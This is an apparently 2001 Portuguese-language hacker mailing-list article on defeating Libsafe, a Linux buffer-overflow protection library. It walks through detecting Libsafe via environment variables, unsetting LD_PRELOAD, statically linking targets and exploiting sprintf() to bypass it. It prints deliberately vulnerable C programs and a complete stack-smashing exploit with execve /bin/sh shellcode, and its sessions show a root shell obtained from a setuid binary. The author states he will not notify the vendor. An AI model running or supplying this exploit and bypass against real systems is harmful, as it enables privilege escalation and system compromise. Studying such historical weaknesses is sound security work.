/* Artigo Publicado Para a Mail List da Unsekurity Scene. * http://unsekurity.virtualave.net/ * FAVOR MANTER PRIVATE! * Junho/2001. */ Desenvolvido por Nash Leon. nashleon@yahoo.com.br http://www.kimera.com.br/ ******************************************* * Analise da Libsafe - Problemas Serios * ******************************************* * Introducao * O que eh a Libsafe * Hacking Libsafe * Consideracoes Finais ------------- * Introducao | ------------- Neste simples artigo para a mail list da Unsekurity Scene, pretendo demonstrar alguns esquemas basicos, porem eficazes contra uma das ferramentas mais utilizadas para evitar exploitacao via buffer overflows. O problema demonstrado aqui eh serissimo e pode ser bem mais expansivel do que eu imagino.Acredito que ainda nao foram feitas "serias" analises da Libsafe mundo a fora, por isso, esses problemas nao foram divulgados, sendo que voces, irmaos newbies da Unsekurity Scene, serao os primeiros a tomarem contato com este problema. Como se trata de uma ferramenta "Anti-Overflows", conhecimentos basicos de C, Buffer Overflows e Linux se fazem necessarios.O problema pode ser maior expansivel e nos meus testes obtive sucesso em investidas tanto locais como remotas em um Linux Slackware 7.0, kernel 2.2.13 (Meu favorito!:)).Testem os esquemas em suas distribuicoes e vejam se as mesmas possuem condicoes semelhantes de exploitacao. --------------------- * O que eh a Libsafe | --------------------- Libsafe eh outra ferramenta tambem muito difundida que procura 'proteger' um sistema contra varios tipos de ataques de Buffer Overflows.Assim como a maioria das ferramentas "Anti-Overflows", seu conceito eh limitado a regiao do 'Stack'(ataques do tipo stack smashing), o metodo usado por ela, consiste em interceptar todas as chamadas das funcoes da biblioteca que sao 'amplamente' conhecidas como vulneraveis.Abaixo seguem as funcoes reconhecidamente inseguras que sao monitoradas pela LibSafe: strcpy(char *dest, const char *src) strcat(char *dest, const char *src) getwd(char *buf) gets(char *s) [vf]scanf(const char *format, ...) realpath(char *path, char resolved_path[]) [v]sprintf(char *str, const char *format, ...) Como podemos notar logo de cara, uma funcao diferente das citadas acima pode perfeitamente ser exploitada e a LibSafe nao serah capaz de proteger o sistema contra o exploit! Mas veremos antes como detectar localmente se a 'LibSafe' estah instalada no sistema e a partir da sua deteccao, veremos como "hackea-la". ------------------ * Hacking Libsafe | ------------------ Crie voce mesmo um programa vulneravel a stack overflow e tente exploitar o mesmo.Voce poderah ver uma saida parecida com a que segue abaixo: Detected an attempt to write across stack boundary. Terminating /crazy/my/over/libsafe/furo. ou mesmo 'Segmentation Fault'(mesmo que voce tenha se certificado quanto a exploitacao do mesmo). Como podemos notar, ele termina a execucao do programa e tambem escreve esta tentativa de sobrescrever o limite do stack no sistema de log(/var/log/syslog).Por isso, devemos estar atentos que se um sistema possui 'LibSafe' instalado, ele pode logar uma investida mal-sucedida de nossa parte. Em sua instalacao padrao, nos podemos tambem procurar ele em seu PATH 'default', geralmente '/lib/libsafe.so.1.3', ou mesmo em um arquivo de inicializacao como /etc/profile podemos nos deparar com as seguintes linhas: LD_PRELOAD=/lib/libsafe.so.1.3 export LD_PRELOAD Mas na realidade, o modo mais simples de realmente sabermos se o sistema possui 'libsafe' instalado e se o administrador eh irresponsavel(a maioria),eh simplesmente digitarmos 'env': $ env | more PWD=/home/nashleon LD_PRELOAD=/lib/libsafe.so.1.3 Ele deve nos acusar logo que cara que temos esta ferramenta como uma 'barreira'. Nesta Configuracao nao tem muito segredo em 'passar' por esta ferramenta em sua instalacao default!! Ou seja, basta retirarmos a variavel enviroment e nao existirah mais LibSafe a nossa frente! Vejamos Abaixo uma implementacao usando 'return into libc': + Com LibSafe: $ env | more PWD=/crazy/my/over/libsafe LD_PRELOAD=/lib/libsafe.so.1.3 HZ=100 ... $ id uid=1000(nashleon) gid=100(users) groups=100(users) $ ls -l furo -rwsr-sr-x 1 root root 12181 Aug 19 06:29 furo* $ ./omega1 8 furo System() is at 0x4005f6f8 "/bin/sh" is at 0x400f8866 print /bin/sh Executing System() is at 0x4005b6f8 Segmentation fault Como podemos notar, nao conseguimos mesmo exploitar o programa.Entao procurando 'vestigios' do LibSafe atraves de 'env' podemos notar que ele estah instalado e em perfeito funcionamento.Abaixo segue a implementacao para exploitarmos o sistema. $ unset LD_PRELOAD $ env | more PWD=/crazy/my/over/libsafe HZ=100 Retiramos a variavel 'environment' do sistema.Agora tentamos exploitar o programa bugado: $ ./omega1 8 furo System() is at 0x4005b6f8 "/bin/sh" is at 0x400f4866 print /bin/sh Executing System() is at 0x4005b6f8 sh-2.03# Bingo!!:).. Como podemos notar, em sua instalacao 'default', ele eh facilmente 'derrubado' e nao representa nenhum empecilho para um fucador! Mas nao existe somente uma instalacao possivel para o 'LibSafe', na verdade, um administrador com conhecimentos basicos em 'Linux' sabe das facilidades que eh 'descarregar' uma variavel environment e vai tentar dificultar ao maximo, por isso, esteja atento!! Ele poderia por exemplo instalar em um arquivo '/etc/ld.so.preload' a seguinte linha abaixo: /lib/libsafe.so.1.3 Que eh justamente o PATH onde se localiza o 'LibSafe', ou mesmo colocar em seu .profile e etc.Fique atento e analise bem o sistema alvo.Caso de fato ele tenha instalado no 'ld.so.preload', teremos que ir mais longe e implementar uma tecnica "mais complicada". Alguns programas sao compilados com uma opcao especial do "GCC" que torna quase que ineficaz o uso da LibSafe nesses programas.A opcao "-static" nos permite passar tranquilamente pela Libsafe e se o programa alvo possui sua propria implementacao de funcoes bugadas, a Libsafe se torna ineficaz.Vejamos abaixo um exemplo: -------------------------- alvo.c ------------------------------- #include #include int main(int argc, char *argv[0]){ char buffer[512]; if(argc < 2){ printf("Uso: %s string\n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou: %s\n",buffer); return 0; } --------------------------------------------------------------- Usaremos o seguinte exploit para os nossos testes: ------------------------ ex.c --------------------------------- #include #include #include #define NOP 0x90 #define ALIGN 0 #define ALVO "./alvo" unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]){ char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } /* Enchemos uma parte do buffer com NOP's */ for (i=0;i<(tamanho-strlen(shellcode)-100);i++) *(buffer+i) = NOP; /* Copiamos shellcode sobre buffer */ memcpy(buffer+i,shellcode,strlen(shellcode)); /* Finalmente executamos o programa */ execl(ALVO,ALVO,buffer,0); } ---------------------------------------------------------------- Testando normalmente. # gcc -o alvo alvo.c # gcc -o ex ex.c # ./ex 550 Detected an attempt to write across stack boundary. Terminating /work/testes/detlib/alvo. Como podemos ver, a LibSafe nos detectou.Mas se a compilacao segue com outros parametros: # gcc -o alvo alvo.c -static # ./ex 550 Voce digitou: (Muito Lixo) sh-2.03# Como podemos ela falha. ***** Problemas com sprintf() Aqui rola a novidade! A Libsafe 2.0 afirma em sua documentacao ser capaz de detectar e impedir exploitacao via ataque smashing stack atraves de bugs na funcao sprintf().Vejamos que a realidade nao eh bem assim: --------------------------- alvo2.c ------------------------------- /* Programa Vulneravel em sprintf() */ #include #include int main(int argc, char *argv[0]){ char buffer[512]; if(argc < 2){ printf("Uso: %s string\n",argv[0]); exit(0); } sprintf(buffer,"%s",argv[1]); printf("Voce digitou: %s\n",buffer); return 0; } -------------------------------------------------------------- Vejamos normalmente: # gcc -o alvo2 alvo2.c # ./ex 550 (Muito Lixo) sh-2.03# Eu considero este problema serissimo.A falsa seguranca gerada pela LibSafe 2.0 neste caso eh consideravel! Eu descobri este problema enquanto codava um exploit local(bug descoberto por um fucador conhecido) e havia me esquecido que a LibSafe estava ativa no sistema, me perguntei:"Ela deveria ter impedido a exploitacao!!", mas nao impediu e realmente foi incapaz ateh de detectar. Existem varios outros problemas na Libsafe 2.0(Versao mais atual) que torna trivial passar por ela.Um exemplo eh uma condicao de Heap Overflow na propria Libsafe quando esta tenta defender o sistema contra exploitacao em getwd(). ----------------------- * Consideracoes Finais | ----------------------- Ainda nao contactei os autores desta ferramenta, e pra ser sincero, nao pretendo contactar.Sao grandes empresas(Bell Labs) que insistem num conceito ao meu ver bastante ineficaz(solucionar o problema externamente), na pratica o bug estarah sempre lah, a funcao strcpy(), sprintf(), getwd() mau implementadas estarao no codigo do programa a espera de um fucador para passar pelo programa externo(LibSafe) e exploita-las.Devem existir mais condicoes de exploitacoes da Libsafe tais como manipulacao de ponteiros, fomit-frame, heap overflows e etc. Se voce soluciona a condicao bugada(mah programacao) no proprio codigo bugado, essas tecnicas de exploitacao se tornam ineficazes. Reconheco o empenho dos criadores de tal ferramenta, mas infelizmente, grande parte da Comunidade de Seguranca tem dirigido esforcos numa direcao erronea e terminam nao solucionando "1 problema se quer"! Nao sei se isso acontece por ganancia das Empresas de Seguranca, mas deve-se sempre pensar no usuario comum, ele nao tem culpa dos erros dos programadores e da incompetencia(ou mah feh) da Comunidade de Seguranca. Gostaria de agradecer ao "cursed", pelo bug descoberto num programa do linux, pois foi a partir dele que me foi "manifestado" o problema do sprintf() da Libsafe. Links e Referencias: http://unsekurity.virtualave.net/txts/over.txt http://www.research.avayalabs.com/project/libsafe/index.html Um Abraco a Todos. Nash Leon.